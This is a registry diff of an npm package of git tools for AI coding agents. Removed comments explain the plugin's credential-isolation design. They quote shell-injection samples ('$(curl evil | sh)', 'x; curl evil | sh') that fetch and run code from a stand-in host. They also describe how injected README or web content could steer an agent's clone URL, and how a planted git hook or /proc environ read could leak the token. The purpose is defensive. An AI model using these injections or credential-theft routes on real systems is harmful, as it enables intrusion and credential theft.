@dynamicagents/plugins 0.11.1 → 0.13.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +59 -79
- package/dist/browser/index.d.ts +0 -2
- package/dist/browser/index.js +21 -27
- package/dist/claude-code/cards.d.ts +53 -0
- package/dist/claude-code/cards.js +272 -0
- package/dist/claude-code/config.d.ts +73 -31
- package/dist/claude-code/config.js +0 -2
- package/dist/claude-code/credentials.d.ts +21 -9
- package/dist/claude-code/credentials.js +43 -9
- package/dist/claude-code/egress.d.ts +15 -14
- package/dist/claude-code/egress.js +51 -14
- package/dist/claude-code/events.d.ts +153 -9
- package/dist/claude-code/events.js +289 -58
- package/dist/claude-code/github.d.ts +39 -0
- package/dist/claude-code/github.js +82 -0
- package/dist/claude-code/index.d.ts +24 -80
- package/dist/claude-code/index.js +19 -234
- package/dist/claude-code/model.d.ts +152 -0
- package/dist/claude-code/model.js +342 -0
- package/dist/claude-code/run.d.ts +283 -92
- package/dist/claude-code/run.js +620 -114
- package/dist/claude-code/session.d.ts +131 -0
- package/dist/claude-code/session.js +285 -0
- package/dist/claude-code/spec.d.ts +46 -0
- package/dist/claude-code/spec.js +83 -0
- package/dist/claude-code/verified.d.ts +15 -0
- package/dist/claude-code/verified.js +15 -0
- package/dist/computer/context.d.ts +19 -0
- package/dist/computer/context.js +222 -0
- package/dist/computer/file-lock.d.ts +5 -0
- package/dist/computer/file-lock.js +40 -0
- package/dist/computer/gate.d.ts +12 -12
- package/dist/computer/gate.js +12 -12
- package/dist/computer/index.d.ts +57 -255
- package/dist/computer/index.js +98 -1039
- package/dist/computer/paths.d.ts +47 -22
- package/dist/computer/paths.js +64 -49
- package/dist/computer/proxy.d.ts +45 -0
- package/dist/computer/proxy.js +234 -0
- package/dist/computer/render.d.ts +27 -38
- package/dist/computer/render.js +32 -65
- package/dist/computer/tools-exec.d.ts +3 -0
- package/dist/computer/tools-exec.js +268 -0
- package/dist/computer/tools-file.d.ts +12 -0
- package/dist/computer/tools-file.js +64 -0
- package/dist/computer/tools-grep.d.ts +3 -0
- package/dist/computer/tools-grep.js +129 -0
- package/dist/repo/checkout.d.ts +35 -6
- package/dist/repo/checkout.js +64 -6
- package/dist/repo/context.d.ts +135 -0
- package/dist/repo/context.js +582 -0
- package/dist/repo/index.d.ts +79 -57
- package/dist/repo/index.js +118 -1112
- package/dist/repo/tools-checks.d.ts +3 -0
- package/dist/repo/tools-checks.js +112 -0
- package/dist/repo/tools-clone.d.ts +4 -0
- package/dist/repo/tools-clone.js +192 -0
- package/dist/repo/tools-pr.d.ts +14 -0
- package/dist/repo/tools-pr.js +196 -0
- package/dist/repo/tools-review.d.ts +12 -0
- package/dist/repo/tools-review.js +393 -0
- package/dist/repo/tools-worktree.d.ts +4 -0
- package/dist/repo/tools-worktree.js +305 -0
- package/dist/repo/tools-worktrees.d.ts +12 -0
- package/dist/repo/tools-worktrees.js +48 -0
- package/dist/repo/url.d.ts +2 -2
- package/dist/repo/url.js +7 -7
- package/dist/scratch/index.d.ts +4 -4
- package/dist/scratch/index.js +12 -11
- package/dist/{computer → workspace}/advisory.d.ts +33 -20
- package/dist/{computer → workspace}/advisory.js +32 -7
- package/dist/workspace/ca-trust.d.ts +95 -0
- package/dist/workspace/ca-trust.js +312 -0
- package/dist/workspace/container-deps.d.ts +54 -0
- package/dist/workspace/container-deps.js +224 -0
- package/dist/workspace/container-fault.d.ts +38 -0
- package/dist/workspace/container-fault.js +73 -0
- package/dist/workspace/exec.d.ts +94 -0
- package/dist/workspace/exec.js +153 -0
- package/dist/workspace/format.d.ts +36 -0
- package/dist/workspace/format.js +57 -0
- package/dist/workspace/git-host.d.ts +79 -0
- package/dist/workspace/git-host.js +226 -0
- package/dist/workspace/git-identity.d.ts +57 -0
- package/dist/workspace/git-identity.js +147 -0
- package/dist/workspace/index.d.ts +43 -47
- package/dist/workspace/index.js +52 -112
- package/dist/workspace/install-job.d.ts +121 -0
- package/dist/workspace/install-job.js +866 -0
- package/dist/{computer → workspace}/install.d.ts +15 -19
- package/dist/{computer → workspace}/install.js +8 -11
- package/dist/workspace/object.d.ts +502 -0
- package/dist/workspace/object.js +1427 -0
- package/dist/workspace/open.d.ts +95 -0
- package/dist/workspace/open.js +63 -0
- package/dist/workspace/read.d.ts +16 -0
- package/dist/workspace/read.js +22 -0
- package/dist/workspace/shell.d.ts +45 -0
- package/dist/workspace/shell.js +80 -0
- package/dist/workspace/sync.d.ts +111 -0
- package/dist/workspace/sync.js +124 -0
- package/dist/workspace/wake.d.ts +19 -0
- package/dist/workspace/wake.js +10 -0
- package/package.json +28 -42
- package/dist/arc-agi/analysis.d.ts +0 -336
- package/dist/arc-agi/analysis.js +0 -829
- package/dist/arc-agi/client.d.ts +0 -82
- package/dist/arc-agi/client.js +0 -113
- package/dist/arc-agi/game-tools.d.ts +0 -25
- package/dist/arc-agi/game-tools.js +0 -26
- package/dist/arc-agi/index.d.ts +0 -42
- package/dist/arc-agi/index.js +0 -175
- package/dist/arc-agi/main-agent.d.ts +0 -27
- package/dist/arc-agi/main-agent.js +0 -65
- package/dist/arc-agi/recipe.d.ts +0 -51
- package/dist/arc-agi/recipe.js +0 -100
- package/dist/arc-agi/scorecard.d.ts +0 -118
- package/dist/arc-agi/scorecard.js +0 -163
- package/dist/arc-agi/soul.d.ts +0 -40
- package/dist/arc-agi/soul.js +0 -90
- package/dist/arc-agi/store.d.ts +0 -154
- package/dist/arc-agi/store.js +0 -216
- package/dist/arc-agi/tools.d.ts +0 -36
- package/dist/arc-agi/tools.js +0 -576
- package/dist/arc-agi/types.d.ts +0 -212
- package/dist/arc-agi/types.js +0 -19
- package/dist/claude-code/recipe.d.ts +0 -53
- package/dist/claude-code/recipe.js +0 -100
- package/dist/computer/read.d.ts +0 -137
- package/dist/computer/read.js +0 -203
- package/dist/recall/index.d.ts +0 -99
- package/dist/recall/index.js +0 -171
- package/dist/triage/index.d.ts +0 -355
- package/dist/triage/index.js +0 -302
package/dist/repo/index.js
CHANGED
|
@@ -1,8 +1,11 @@
|
|
|
1
|
-
import { tool } from "ai";
|
|
2
|
-
import { z } from "zod";
|
|
3
1
|
import { definePlugin } from "@dynamicagents/core";
|
|
4
|
-
import {
|
|
5
|
-
import {
|
|
2
|
+
import { repoContext } from "./context.js";
|
|
3
|
+
import { checkTools } from "./tools-checks.js";
|
|
4
|
+
import { cloneTools } from "./tools-clone.js";
|
|
5
|
+
import { prActions, prTools } from "./tools-pr.js";
|
|
6
|
+
import { reviewActions, reviewTools } from "./tools-review.js";
|
|
7
|
+
import { worktreeTools } from "./tools-worktree.js";
|
|
8
|
+
import { worktreesTools } from "./tools-worktrees.js";
|
|
6
9
|
/**
|
|
7
10
|
* The URL parsing, re-exported from the one entry point.
|
|
8
11
|
*
|
|
@@ -11,1119 +14,122 @@ import { refreshCheckout, resolveDefaultBranch } from "./checkout.js";
|
|
|
11
14
|
* though it is implemented in `url.ts`.
|
|
12
15
|
*/
|
|
13
16
|
export { parseRepo } from "./url.js";
|
|
17
|
+
export { graphqlEndpoint, truncateOutput } from "./context.js";
|
|
18
|
+
/** Every tool and action this plugin can offer, by the name the model sees. */
|
|
19
|
+
export const REPO_TOOL_NAMES = [
|
|
20
|
+
"repo_clone",
|
|
21
|
+
"repo_fetch",
|
|
22
|
+
"repo_status",
|
|
23
|
+
"repo_diff",
|
|
24
|
+
"repo_commit",
|
|
25
|
+
"repo_push",
|
|
26
|
+
"repo_open_pr",
|
|
27
|
+
"repo_issue_view",
|
|
28
|
+
"repo_pr_view",
|
|
29
|
+
"repo_pr_comment",
|
|
30
|
+
"repo_pr_review_status",
|
|
31
|
+
"repo_pr_threads",
|
|
32
|
+
"repo_pr_thread_reply",
|
|
33
|
+
"repo_pr_checks",
|
|
34
|
+
"repo_worktrees",
|
|
35
|
+
"repo_worktree"
|
|
36
|
+
];
|
|
14
37
|
/**
|
|
15
|
-
*
|
|
16
|
-
*
|
|
17
|
-
* Layered over a container rather than owning one: it needs a shell with `git`
|
|
18
|
-
* on it, and `@dynamicagents/plugins/computer` provides exactly that through
|
|
19
|
-
* `computerExec`. Passing `exec` in rather than importing that plugin keeps the
|
|
20
|
-
* two independent — a host with its own container can use this against that
|
|
21
|
-
* instead, and the tests here need no container at all.
|
|
22
|
-
*
|
|
23
|
-
* ## The credential never enters the container
|
|
24
|
-
*
|
|
25
|
-
* The three operations that authenticate — clone, fetch, push — are not run
|
|
26
|
-
* here. They go to {@link RepoConfig.git}, which the host implements on its own
|
|
27
|
-
* side of the boundary. Everything else — `status`, `diff`, `add`, `commit`,
|
|
28
|
-
* `checkout` — runs in the container through {@link RepoConfig.exec}, because
|
|
29
|
-
* none of it needs to authenticate.
|
|
30
|
-
*
|
|
31
|
-
* That split is the one thing to preserve when changing this file: if an
|
|
32
|
-
* operation talks to the forge it does not belong on `exec`, and if it does not,
|
|
33
|
-
* it has no business anywhere else.
|
|
34
|
-
*
|
|
35
|
-
* It is absolute rather than careful because a narrower version does not hold.
|
|
36
|
-
* Git executes whatever `.git/config` and `.git/hooks` name; both live in the
|
|
37
|
-
* workspace filesystem, which outlives the container and which a co-installed
|
|
38
|
-
* shell tool can write. So a model needs no credential on its *own* command — a
|
|
39
|
-
* planted `pre-push` hook reads one out of the environment `repo_push` gives it.
|
|
40
|
-
* Nor is that patchable key by key: a URL-specific `http.<url>.sslVerify=false`
|
|
41
|
-
* in the repository's own config beats a `-c` override, because specificity
|
|
42
|
-
* outranks precedence. And a credential that exists in a process environment for
|
|
43
|
-
* the length of one command is readable at `/proc/<pid>/environ` by anything
|
|
44
|
-
* else in the container.
|
|
45
|
-
*
|
|
46
|
-
* Two further rules, which are about the forge rather than the container:
|
|
47
|
-
*
|
|
48
|
-
* 1. **The forge is an allowlist, checked before anything runs.** A clone URL is
|
|
49
|
-
* model input — a repository README, an issue body, or a page fetched by a
|
|
50
|
-
* co-installed browser plugin is enough to choose it — and a credential
|
|
51
|
-
* offered to a host of the model's choosing is the whole game. So the URL's
|
|
52
|
-
* host must be on {@link RepoConfig.allowedHosts} before any operation
|
|
53
|
-
* starts, and the allowlist travels with each call so the host can bind the
|
|
54
|
-
* check to the moment the token would actually be handed over. `origin` is
|
|
55
|
-
* re-derived and re-checked on every push rather than remembered, because the
|
|
56
|
-
* checkout's `.git/config` is a file the container can rewrite.
|
|
57
|
-
* 2. **The forge API is called from the Worker**, so the credential that can
|
|
58
|
-
* write to a repository through the API never crosses the boundary either.
|
|
59
|
-
* Every tool that reads or writes through it resolves the repository from the
|
|
60
|
-
* checkout's own origin rather than from a parameter, so there is no way to
|
|
61
|
-
* point the token at a repository nobody asked about.
|
|
62
|
-
*
|
|
63
|
-
* Model-authored values — URLs, branch names, commit messages — travel to the
|
|
64
|
-
* container as environment variables rather than being interpolated into a
|
|
65
|
-
* command, so a branch name of `$(curl evil | sh)` is inert text. That is about
|
|
66
|
-
* shell injection, not credentials, and is independent of all of the above.
|
|
67
|
-
*
|
|
68
|
-
* A limit this plugin cannot close: the allowlist bounds the *host*, never the
|
|
69
|
-
* repository. Whatever the token can reach, an agent talked into naming it can
|
|
70
|
-
* reach. See the README — the token wants to be fine-grained.
|
|
38
|
+
* No tool here is held for a person's approval — see this plugin's README for
|
|
39
|
+
* why, and for what a fork that wants one does instead.
|
|
71
40
|
*/
|
|
72
|
-
/** This plugin's tool-family name, as a recipe's `toolFamilies` lists it. */
|
|
73
|
-
export const REPO_FAMILY = "repo";
|
|
74
|
-
const DEFAULT_WORKDIR = "/workspace";
|
|
75
|
-
const DEFAULT_API_BASE = "https://api.github.com";
|
|
76
|
-
const DEFAULT_AUTHOR = {
|
|
77
|
-
name: "da-coder",
|
|
78
|
-
email: "coder@dynamicagents.invalid"
|
|
79
|
-
};
|
|
80
|
-
const DEFAULT_MAX_OUTPUT_CHARS = 16_000;
|
|
81
|
-
/**
|
|
82
|
-
* Ceiling on every call this plugin makes to the forge's API.
|
|
83
|
-
*
|
|
84
|
-
* Not configurable, because it is not a tuning knob: it exists so an API that
|
|
85
|
-
* stops answering costs a round rather than the task. These are single small
|
|
86
|
-
* requests, and thirty seconds is already generous for one.
|
|
87
|
-
*/
|
|
88
|
-
const FORGE_TIMEOUT_MS = 30_000;
|
|
89
|
-
/**
|
|
90
|
-
* How many items one forge list call asks for. GitHub's maximum, and its default
|
|
91
|
-
* without this is 30.
|
|
92
|
-
*
|
|
93
|
-
* One page, never a Link-header walk: an unbounded fetch loop does not belong
|
|
94
|
-
* inside a model turn, and the render is bounded by `maxOutputChars` anyway. What
|
|
95
|
-
* matters is that a full page is *reported* as possibly partial rather than
|
|
96
|
-
* presented as the whole answer — a pull request's newest review comments are on
|
|
97
|
-
* the last page, and those are exactly the ones an agent was sent to act on.
|
|
98
|
-
*/
|
|
99
|
-
const FORGE_PAGE_SIZE = 100;
|
|
100
|
-
/**
|
|
101
|
-
* Middle-out truncation, so both the head of a diff and its tail survive.
|
|
102
|
-
*
|
|
103
|
-
* Deliberately a **copy** of the computer plugin's function of the same name,
|
|
104
|
-
* not an import. `npm run verify:exports` fails any subpath whose module graph
|
|
105
|
-
* reaches a sibling's directory, and its own advice for a shared helper is to
|
|
106
|
-
* duplicate it — installing `repo` must not drag `computer` (and therefore
|
|
107
|
-
* `@cloudflare/computer`) into a consumer's bundle. Fifteen lines is a cheaper
|
|
108
|
-
* price than that coupling, and it is the same reason `exec` is injected here
|
|
109
|
-
* rather than imported.
|
|
110
|
-
*
|
|
111
|
-
* The `half < 1` guard is not padding: without it a small `max` makes `half`
|
|
112
|
-
* zero or negative, and `slice(-0)` is `slice(0)` — the whole string — so the
|
|
113
|
-
* function would return *more* than it was given.
|
|
114
|
-
*/
|
|
115
|
-
export function truncateOutput(text, max) {
|
|
116
|
-
if (text.length <= max)
|
|
117
|
-
return text;
|
|
118
|
-
const marker = (dropped) => `\n\n… [${dropped} characters omitted from the middle] …\n\n`;
|
|
119
|
-
const half = Math.floor((max - marker(text.length).length) / 2);
|
|
120
|
-
if (half < 1)
|
|
121
|
-
return text.slice(0, Math.max(0, max));
|
|
122
|
-
return (text.slice(0, half) + marker(text.length - half * 2) + text.slice(-half));
|
|
123
|
-
}
|
|
124
|
-
/**
|
|
125
|
-
* What to tell the model when the plumbing, not the command, is the problem.
|
|
126
|
-
*
|
|
127
|
-
* A sibling of the computer plugin's `execLostNote` rather than an import, for
|
|
128
|
-
* the same reason {@link truncateOutput} is a copy: `npm run verify:exports`
|
|
129
|
-
* fails any subpath whose module graph reaches a sibling's, and installing `repo`
|
|
130
|
-
* must not drag `computer` in behind it. The wording differs anyway, and the
|
|
131
|
-
* difference is the point — that plugin cannot know the lost command was git, and
|
|
132
|
-
* this one does. What a model needs after a lost `git push` is not "re-run it"
|
|
133
|
-
* but whether re-running it is *safe*.
|
|
134
|
-
*/
|
|
135
|
-
function unreachableNote(err) {
|
|
136
|
-
if (err?.code === "EEXEC_LOST") {
|
|
137
|
-
return ("the container was replaced while this command was running, so nothing here " +
|
|
138
|
-
"is known to have finished. This is infrastructure — not git, and not what " +
|
|
139
|
-
"you asked for. The checkout is durable and is exactly as you left it. " +
|
|
140
|
-
"Retry, and read what the retry says rather than assuming it starts from " +
|
|
141
|
-
"nothing: a command that had already reached the forge may have taken " +
|
|
142
|
-
"effect. Retrying is safe either way — these commands push one branch to " +
|
|
143
|
-
"the branch of the same name, and never force.");
|
|
144
|
-
}
|
|
145
|
-
return (`the command could not be run: ${String(err)}. This is the plumbing — the ` +
|
|
146
|
-
`container, the transport to it, or the host's own configuration — rather ` +
|
|
147
|
-
`than git or anything you passed, and nothing is known to have completed. ` +
|
|
148
|
-
`Retry once; if it happens again, say so in your result rather than working ` +
|
|
149
|
-
`around it.`);
|
|
150
|
-
}
|
|
151
|
-
/**
|
|
152
|
-
* One git command at a time, per plugin instance.
|
|
153
|
-
*
|
|
154
|
-
* Git takes `.git/index.lock` for anything that writes and fails outright rather
|
|
155
|
-
* than waiting if it is already held. A model may emit several tool calls in one
|
|
156
|
-
* turn and the SDK runs them concurrently, so unserialised a `repo_commit` and a
|
|
157
|
-
* `repo_push` race: the commit fails, the push succeeds against the previous
|
|
158
|
-
* state, and the round reports work that never landed.
|
|
159
|
-
*
|
|
160
|
-
* Held here rather than in {@link repoSurface}'s closure, because that closure
|
|
161
|
-
* is too short-lived to be the boundary. Core rebuilds `mainAgentTools` every
|
|
162
|
-
* turn and gives each subagent execution its own tool family, so a per-call queue
|
|
163
|
-
* leaves a subagent racing its parent over one checkout — the same collision, one
|
|
164
|
-
* level up. The config object is the plugin instance, and a `WeakMap` means a
|
|
165
|
-
* discarded agent takes its queue with it.
|
|
166
|
-
*
|
|
167
|
-
* A promise chain rather than a lock, because that is all the scope needs: one
|
|
168
|
-
* isolate, one container. Reads are serialised too — `git status` does not take
|
|
169
|
-
* the lock, but ordering costs nothing at these durations and removes having to
|
|
170
|
-
* be right about which commands write.
|
|
171
|
-
*
|
|
172
|
-
* ## The unit is a command, not a tool call
|
|
173
|
-
*
|
|
174
|
-
* Worth stating exactly, because the name suggests more. What is guaranteed is
|
|
175
|
-
* that no two git commands run at once, which is what `.git/index.lock` needs.
|
|
176
|
-
* What is *not* guaranteed is that one tool's sequence is atomic: `repo_push`
|
|
177
|
-
* issues nine commands and `repo_commit` two, and another tool's command can be
|
|
178
|
-
* dequeued between any of them. The shape to watch for is a branch switch landing
|
|
179
|
-
* inside another tool's work —
|
|
180
|
-
*
|
|
181
|
-
* repo_commit: git add -A
|
|
182
|
-
* repo_push: git checkout -b coder/x ← interleaves here
|
|
183
|
-
* repo_commit: git commit -m "…" ← lands on coder/x
|
|
184
|
-
*
|
|
185
|
-
* — because the checked-out branch is state the whole checkout shares, so only
|
|
186
|
-
* concurrent *mutating* tools can disturb it. Both calls report success.
|
|
187
|
-
*
|
|
188
|
-
* Accepted rather than closed, because reaching it takes two repo tool calls in
|
|
189
|
-
* flight against one checkout from one agent, and that is not how the coder
|
|
190
|
-
* drives them. If it is ever observed, the fix is to take the lock once around
|
|
191
|
-
* each tool body instead of around each command — which means the runners below
|
|
192
|
-
* must stop taking it themselves, since a nested take on a promise chain waits
|
|
193
|
-
* on a tail its own caller is still holding.
|
|
194
|
-
*/
|
|
195
|
-
const gitQueues = new WeakMap();
|
|
196
|
-
export function buildRepoTools(config,
|
|
197
|
-
/** Forwarded to every `exec`; see {@link RepoExec}'s `runtime` option. */
|
|
198
|
-
runtime) {
|
|
199
|
-
return repoSurface(config, runtime).tools;
|
|
200
|
-
}
|
|
201
|
-
/**
|
|
202
|
-
* The repo tools, and the approval rule for the one a person approves — one
|
|
203
|
-
* closure, so the rule reads the checkout through the same `origin` the tool it
|
|
204
|
-
* gates runs against. See {@link repoToolApproval}.
|
|
205
|
-
*/
|
|
206
|
-
function repoSurface(config, runtime) {
|
|
207
|
-
const workdir = config.workdir ?? DEFAULT_WORKDIR;
|
|
208
|
-
const apiBase = config.apiBase ?? DEFAULT_API_BASE;
|
|
209
|
-
const author = config.author ?? DEFAULT_AUTHOR;
|
|
210
|
-
const allowedHosts = config.allowedHosts ?? DEFAULT_ALLOWED_HOSTS;
|
|
211
|
-
const maxChars = config.maxOutputChars ?? DEFAULT_MAX_OUTPUT_CHARS;
|
|
212
|
-
/** Everything this plugin hands back to the model, bounded. */
|
|
213
|
-
const bounded = (text) => truncateOutput(text, maxChars);
|
|
214
|
-
/**
|
|
215
|
-
* Tell the host a checkout is ready, and never let that fail the clone.
|
|
216
|
-
*
|
|
217
|
-
* The clone did succeed. Whatever the host wanted to do next — start an
|
|
218
|
-
* install, usually — is its problem to notice, and turning a working
|
|
219
|
-
* `repo_clone` into an error would send the model to investigate git when
|
|
220
|
-
* git is fine.
|
|
221
|
-
*/
|
|
222
|
-
const notifyCheckout = async (checkout) => {
|
|
223
|
-
if (!config.afterCheckout)
|
|
224
|
-
return;
|
|
225
|
-
try {
|
|
226
|
-
await config.afterCheckout(checkout);
|
|
227
|
-
}
|
|
228
|
-
catch (err) {
|
|
229
|
-
console.error("[repo] afterCheckout failed", {
|
|
230
|
-
dir: checkout.dir,
|
|
231
|
-
repo: checkout.repo,
|
|
232
|
-
err: String(err)
|
|
233
|
-
});
|
|
234
|
-
}
|
|
235
|
-
};
|
|
236
|
-
/**
|
|
237
|
-
* The forge credential, or the reason there is none.
|
|
238
|
-
*
|
|
239
|
-
* `config.token` is the host's thunk, and an unresolvable secret throws at the
|
|
240
|
-
* moment of use rather than at startup. Every caller here has a sentence to
|
|
241
|
-
* return, so a throw becomes a value: the one place that must never throw is
|
|
242
|
-
* {@link logFailure}, which runs on the path where an unreadable token is a
|
|
243
|
-
* likely reason to be there at all.
|
|
244
|
-
*/
|
|
245
|
-
const credential = () => {
|
|
246
|
-
try {
|
|
247
|
-
return { token: config.token() };
|
|
248
|
-
}
|
|
249
|
-
catch (err) {
|
|
250
|
-
return {
|
|
251
|
-
failure: `the forge credential could not be read: ${String(err)}. That is the ` +
|
|
252
|
-
`host's configuration rather than anything you passed — report it ` +
|
|
253
|
-
`rather than working around it.`
|
|
254
|
-
};
|
|
255
|
-
}
|
|
256
|
-
};
|
|
257
|
-
/**
|
|
258
|
-
* Say out loud that a git command failed.
|
|
259
|
-
*
|
|
260
|
-
* A failure path that returns its stderr only to the model is one audience
|
|
261
|
-
* short: a `git push` exiting 128 leaves nothing behind but an `exec` line and
|
|
262
|
-
* a truncated command, and proving whether the branch landed then means asking
|
|
263
|
-
* the GitHub API. One line naming the tool and carrying the stderr answers it
|
|
264
|
-
* directly.
|
|
265
|
-
*
|
|
266
|
-
* At `error`, because `--level error` is what an operator narrows to once a
|
|
267
|
-
* task has gone wrong and this is a thing that went wrong. As a `warn` it was
|
|
268
|
-
* outside that filter: a clone that failed on 2026-09-05 was invisible to the
|
|
269
|
-
* first pass of the investigation and had to be found by timestamp.
|
|
270
|
-
*
|
|
271
|
-
* The token is scrubbed rather than trusted. It has no route into a container
|
|
272
|
-
* command, and the one channel that could carry it is the forge API's error
|
|
273
|
-
* body, which {@link forge} logs through this same function. So stderr *should*
|
|
274
|
-
* be clean — but "should be" is not the standard for something that writes a
|
|
275
|
-
* credential into a log that outlives the request, and the scrub costs a
|
|
276
|
-
* `split`/`join` on a path that already failed.
|
|
277
|
-
*/
|
|
278
|
-
const logFailure = (tool, detail) => {
|
|
279
|
-
// Nothing to scrub is not a problem: the log is written either way, and
|
|
280
|
-
// what it carries is whatever the command produced.
|
|
281
|
-
const secret = credential();
|
|
282
|
-
const token = "token" in secret ? secret.token : "";
|
|
283
|
-
const scrub = (text) => token && text ? text.split(token).join("«token»") : text;
|
|
284
|
-
console.error(`[repo] ${tool} failed`, {
|
|
285
|
-
exitCode: detail.exitCode,
|
|
286
|
-
stderr: truncateOutput(scrub(detail.stderr) ?? "", 2_000),
|
|
287
|
-
stdout: truncateOutput(scrub(detail.stdout) ?? "", 2_000)
|
|
288
|
-
});
|
|
289
|
-
};
|
|
290
|
-
// Keyed on the config object, which is what identifies the plugin instance:
|
|
291
|
-
// `repo(config)` closes over exactly one and hands the same one to every build.
|
|
292
|
-
const queue = gitQueues.get(config) ?? { tail: Promise.resolve() };
|
|
293
|
-
gitQueues.set(config, queue);
|
|
294
|
-
const serialised = (run) => {
|
|
295
|
-
// `then(run, run)` so one failure does not wedge every command behind it —
|
|
296
|
-
// the queue is for ordering, not for propagating outcomes.
|
|
297
|
-
const next = queue.tail.then(run, run);
|
|
298
|
-
queue.tail = next.then(() => undefined, () => undefined);
|
|
299
|
-
return next;
|
|
300
|
-
};
|
|
301
|
-
/**
|
|
302
|
-
* Run git with the token in the environment, never on the command line, and
|
|
303
|
-
* offered only to `host`.
|
|
304
|
-
*
|
|
305
|
-
* `vars` carries every **model-controlled** value — a URL, a branch name, a
|
|
306
|
-
* commit message — into the container as an environment variable, referenced
|
|
307
|
-
* inside the command as `"$VAR"`. Interpolating them into the command string
|
|
308
|
-
* instead would let a model-authored branch name of `x; curl evil | sh` run
|
|
309
|
-
* as a second command. The container is isolated and the blast radius is its
|
|
310
|
-
* own filesystem, but "the container contains it" is a reason to be careful
|
|
311
|
-
* here, not a reason to skip it.
|
|
312
|
-
*
|
|
313
|
-
* `host` is never model input: it comes from {@link repoLocation} after the
|
|
314
|
-
* allowlist check, so the origin the credential is bound to is always one the
|
|
315
|
-
* host configured.
|
|
316
|
-
*/
|
|
317
|
-
/**
|
|
318
|
-
* Every container command this plugin runs, and the only place `exec` is
|
|
319
|
-
* allowed to throw.
|
|
320
|
-
*
|
|
321
|
-
* `options` is a thunk rather than a value so that everything it reads — the
|
|
322
|
-
* token above all — is read here, inside the `try` and at the moment the queue
|
|
323
|
-
* actually dequeues this command. Building it at the call site would put a
|
|
324
|
-
* rotated secret's lookup, and any throw from it, outside the one handler.
|
|
325
|
-
*/
|
|
326
|
-
const run = (command, options) => serialised(async () => {
|
|
327
|
-
try {
|
|
328
|
-
return await config.exec(command, options());
|
|
329
|
-
}
|
|
330
|
-
catch (err) {
|
|
331
|
-
// Logged here as well as by the tool's own failure branch: the two say
|
|
332
|
-
// different things, and this is the one that names the command. The
|
|
333
|
-
// command string is safe to log — that it never carries the token is the
|
|
334
|
-
// invariant this whole file is built on, and it has a test.
|
|
335
|
-
console.warn("[repo] command could not run", {
|
|
336
|
-
command: truncateOutput(command, 500),
|
|
337
|
-
err: String(err)
|
|
338
|
-
});
|
|
339
|
-
return {
|
|
340
|
-
success: false,
|
|
341
|
-
stdout: "",
|
|
342
|
-
stderr: unreachableNote(err),
|
|
343
|
-
exitCode: -1,
|
|
344
|
-
unreachable: true
|
|
345
|
-
};
|
|
346
|
-
}
|
|
347
|
-
});
|
|
348
|
-
/** A container command with no secret in its environment. */
|
|
349
|
-
const shell = (script, cwd, vars = {}) => run(script, () => ({
|
|
350
|
-
cwd,
|
|
351
|
-
runtime,
|
|
352
|
-
env: { GIT_TERMINAL_PROMPT: "0", ...vars }
|
|
353
|
-
}));
|
|
354
|
-
const plain = (args, cwd, vars = {}) => shell(`git ${args}`, cwd, vars);
|
|
355
|
-
/**
|
|
356
|
-
* Run one credentialed operation, on the host's side of the boundary.
|
|
357
|
-
*
|
|
358
|
-
* The sibling of {@link run}, for the same reason: every tool below already
|
|
359
|
-
* has a `!success` branch that says what it was doing at the time. What differs
|
|
360
|
-
* is where a failure can come from.
|
|
361
|
-
*
|
|
362
|
-
* {@link RepoGit} reports a *git* failure as data — a rejected push, a branch
|
|
363
|
-
* that does not resolve — so that becomes an ordinary unsuccessful result. A
|
|
364
|
-
* throw means the host could not be reached at all, which is the `unreachable`
|
|
365
|
-
* case: nothing ran, and three places in this file read that differently from
|
|
366
|
-
* an answer.
|
|
367
|
-
*
|
|
368
|
-
* Serialised with the container commands rather than merely alongside them. A
|
|
369
|
-
* fetch writes refs into the same checkout a `git status` is reading, and the
|
|
370
|
-
* two interleaving is exactly the race `serialised` exists to prevent — the
|
|
371
|
-
* fact that one of them now runs somewhere else does not change that they
|
|
372
|
-
* share a filesystem.
|
|
373
|
-
*/
|
|
374
|
-
const runGit = (op) => serialised(async () => {
|
|
375
|
-
try {
|
|
376
|
-
const result = await op();
|
|
377
|
-
return result.ok
|
|
378
|
-
? { success: true, stdout: result.detail, stderr: "", exitCode: 0 }
|
|
379
|
-
: { success: false, stdout: "", stderr: result.message, exitCode: 1 };
|
|
380
|
-
}
|
|
381
|
-
catch (err) {
|
|
382
|
-
// Logged here as well as by the tool's own failure branch, the same way
|
|
383
|
-
// `run` does it: this is the line that names the operation as git's
|
|
384
|
-
// rather than the container's, which is the first thing worth knowing.
|
|
385
|
-
console.warn("[repo] a credentialed git operation could not run", {
|
|
386
|
-
err: String(err)
|
|
387
|
-
});
|
|
388
|
-
return {
|
|
389
|
-
success: false,
|
|
390
|
-
stdout: "",
|
|
391
|
-
stderr: unreachableNote(err),
|
|
392
|
-
exitCode: -1,
|
|
393
|
-
unreachable: true
|
|
394
|
-
};
|
|
395
|
-
}
|
|
396
|
-
});
|
|
397
|
-
/**
|
|
398
|
-
* Update the checkout's remote-tracking refs.
|
|
399
|
-
*
|
|
400
|
-
* The allowlist travels with the call rather than being checked once here,
|
|
401
|
-
* because the host is where the token actually is: it can bind the check to
|
|
402
|
-
* the moment the credential would be handed over, which catches a host reached
|
|
403
|
-
* by redirect as well as one named in the URL.
|
|
404
|
-
*/
|
|
405
|
-
const fetchOrigin = (dir, url) => runGit(() => config.git.fetch({ url, dir, allowedHosts }));
|
|
406
|
-
/** Push one branch to the same-named branch on the remote. Never forced. */
|
|
407
|
-
const pushBranch = (dir, url, branch) => runGit(() => config.git.push({ url, dir, branch, allowedHosts }));
|
|
408
|
-
/**
|
|
409
|
-
* One call to the forge's API, from the Worker.
|
|
410
|
-
*
|
|
411
|
-
* Every tool here that talks to the forge goes through this, so the credential
|
|
412
|
-
* stays on the Worker's side of the boundary and the bound, the header set and
|
|
413
|
-
* the refusal to let an unreadable body replace an explanatory status are
|
|
414
|
-
* written once.
|
|
415
|
-
*
|
|
416
|
-
* A failure comes back as a value rather than a throw, because each caller has
|
|
417
|
-
* its own sentence to add: a POST whose answer never arrived may have been
|
|
418
|
-
* received, which a GET has no reason to warn about.
|
|
419
|
-
*/
|
|
420
|
-
const forge = async (tool, path, init) => {
|
|
421
|
-
const secret = credential();
|
|
422
|
-
if ("failure" in secret) {
|
|
423
|
-
logFailure(tool, { stderr: secret.failure });
|
|
424
|
-
return { ok: false, message: secret.failure };
|
|
425
|
-
}
|
|
426
|
-
let response;
|
|
427
|
-
try {
|
|
428
|
-
response = await fetch(`${apiBase}${path}`, {
|
|
429
|
-
method: init?.method ?? "GET",
|
|
430
|
